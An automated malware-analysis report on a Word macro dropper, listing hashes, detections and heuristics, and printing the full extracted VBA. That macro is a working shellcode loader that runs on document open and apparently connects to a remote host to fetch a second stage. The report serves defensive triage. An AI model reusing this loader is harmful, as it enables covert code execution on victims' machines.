Doc.Dropper.Valyria-6680543-0 — Office (OOXML) malware analysis

Static analysis result for SHA-256 657e9e9a36be689f…

MALICIOUS

Office (OOXML)

18.5 KB Created: 2013-04-11 07:56:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2015-09-30
MD5: 9a1f0bb64c577862571625bca425d080 SHA-1: b87b6378f8ceb5a92c08b0082f6f61066f77aad5 SHA-256: 657e9e9a36be689f89ba8b544027801dee1c64b8f373f1186927ea0a82e4eb10
166 Risk Score

Malware Insights

Doc.Dropper.Valyria-6680543-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Dropper.Valyria-6680543-0. It contains VBA macros, including an Auto_Open subroutine, which are commonly used to initiate malicious actions upon opening the document. The VBA script attempts to allocate memory and create a thread, indicative of downloading and executing a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3196 bytes
SHA-256: ed8f8d3a988596a1b4adc933835d08098adfc221c5c703723e1a8d9f520464ee
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Nan As Long, ByVal Exepirts As Long, ByVal Rjyp As LongPtr, Legnb As Long, ByVal Gswbmvmmz As Long, Jrffqrlre As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Rkyhxyyyy As Long, ByVal Jblbcis As Long, ByVal Leqkbetwx As Long, ByVal Badjbla As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Xqyxqh As LongPtr, ByRef Pbosw As Any, ByVal Rucu As Long) As LongPtr
#Else
Private Declare Function CreateThread Lib "kernel32" (ByVal Nan As Long, ByVal Exepirts As Long, ByVal Rjyp As Long, Legnb As Long, ByVal Gswbmvmmz As Long, Jrffqrlre As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Rkyhxyyyy As Long, ByVal Jblbcis As Long, ByVal Leqkbetwx As Long, ByVal Badjbla As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Xqyxqh As Long, ByRef Pbosw As Any, ByVal Rucu As Long) As Long
#End If

Sub Auto_Open()
    Dim Jnaivb As Long, Gusjofle As Variant, Btbdoo As Long
#If VBA7 Then
    Dim Xvcvbi As LongPtr, Rfqbc As LongPtr
#Else
    Dim Xvcvbi As Long, Rfqbc As Long
#End If
    Gusjofle = Array(232, 137, 0, 0, 0, 96, 137, 229, 49, 210, 100, 139, 82, 48, 139, 82, 12, 139, 82, 20, _
139, 114, 40, 15, 183, 74, 38, 49, 255, 49, 192, 172, 60, 97, 124, 2, 44, 32, 193, 207, _
13, 1, 199, 226, 240, 82, 87, 139, 82, 16, 139, 66, 60, 1, 208, 139, 64, 120, 133, 192, _
116, 74, 1, 208, 80, 139, 72, 24, 139, 88, 32, 1, 211, 227, 60, 73, 139, 52, 139, 1, _
214, 49, 255, 49, 192, 172, 193, 207, 13, 1, 199, 56, 224, 117, 244, 3, 125, 248, 59, 125, _
36, 117, 226, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, _
139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 88, 95, 90, 139, 18, _
235, 134, 93, 104, 51, 50, 0, 0, 104, 119, 115, 50, 95, 84, 104, 76, 119, 38, 7, 255, _
213, 184, 144, 1, 0, 0, 41, 196, 84, 80, 104, 41, 128, 107, 0, 255, 213, 80, 80, 80, _
80, 64, 80, 64, 80, 104, 234, 15, 223, 224, 255, 213, 151, 106, 5, 104, 192, 168, 86, 128, _
104, 2, 0, 17, 92, 137, 230, 106, 16, 86, 87, 104, 153, 165, 116, 97, 255, 213, 133, 192, _
116, 12, 255, 78, 8, 117, 236, 104, 240, 181, 162, 86, 255, 213, 106, 0, 106, 4, 86, 87, _
104, 2, 217, 200, 95, 255, 213, 139, 54, 106, 64, 104, 0, 16, 0, 0, 86, 106, 0, 104, _
88, 164, 83, 229, 255, 213, 147, 83, 106, 0, 86, 83, 87, 104, 2, 217, 200, 95, 255, 213, _
1, 195, 41, 198, 133, 246, 117, 236, 195)
    Xvcvbi = VirtualAlloc(0, UBound(Gusjofle), &H1000, &H40)
    For Btbdoo = LBound(Gusjofle) To UBound(Gusjofle)
        Jnaivb = Gusjofle(Btbdoo)
        Rfqbc = RtlMoveMemory(Xvcvbi + Btbdoo, Jnaivb, 1)
    Next Btbdoo
    Rfqbc = CreateThread(0, 0, Xvcvbi, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12800 bytes
SHA-256: f243c06dea083f5fb4be759616ceeb21a91eeb45f4c062c5a1ee635e669af275
Detection
ClamAV: Doc.Dropper.Valyria-6680543-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.